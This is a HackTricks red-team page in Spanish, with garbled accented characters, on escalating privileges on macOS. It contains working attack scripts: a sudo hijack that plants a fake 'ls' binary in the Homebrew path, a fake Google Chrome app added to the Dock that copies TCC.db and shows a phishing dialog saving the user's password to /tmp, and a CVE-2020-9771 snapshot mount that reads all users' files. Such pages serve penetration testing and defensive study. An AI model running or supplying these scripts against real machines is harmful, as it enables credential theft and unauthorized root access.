Escalaci贸n de Privilegios en macOS

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Escalaci贸n de Privilegios TCC

Si llegaste aqu铆 buscando escalaci贸n de privilegios TCC, ve a:

macOS TCC

Escalaci贸n de Privilegios en Linux

Ten en cuenta que la mayor铆a de los trucos sobre escalaci贸n de privilegios que afectan a Linux/Unix tambi茅n afectar谩n a las m谩quinas MacOS. As铆 que consulta:

Linux Privilege Escalation

Interacci贸n del Usuario

Secuestro de Sudo

Puedes encontrar la t茅cnica original de Secuestro de Sudo dentro de la publicaci贸n de Escalaci贸n de Privilegios en Linux.

Sin embargo, macOS mantiene el PATH del usuario cuando ejecuta sudo. Lo que significa que otra forma de lograr este ataque ser铆a secuestro de otros binarios que la v铆ctima a煤n ejecutar谩 al usar sudo:

bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Nota que un usuario que utiliza el terminal probablemente tendr谩 Homebrew instalado. As铆 que es posible secuestrar binarios en /opt/homebrew/bin.

Suplantaci贸n del Dock

Usando algo de ingenier铆a social podr铆as suplantar por ejemplo Google Chrome dentro del dock y ejecutar realmente tu propio script:

Algunas sugerencias:

  • Verifica en el Dock si hay un Chrome, y en ese caso elimina esa entrada y agrega la entrada falsa de Chrome en la misma posici贸n en el array del Dock.
bash
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - Escalaci贸n de Privilegios de Root

CVE-2020-9771 - bypass de TCC en mount_apfs y escalaci贸n de privilegios

Cualquier usuario (incluso los que no tienen privilegios) puede crear y montar un snapshot de Time Machine y acceder a TODOS los archivos de ese snapshot.
El 煤nico privilegio necesario es que la aplicaci贸n utilizada (como Terminal) tenga acceso Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles), lo cual debe ser concedido por un administrador.

bash
# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Una explicaci贸n m谩s detallada se puede encontrar en el informe original.

Informaci贸n Sensible

Esto puede ser 煤til para escalar privilegios:

macOS Sensitive Locations & Interesting Daemons

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks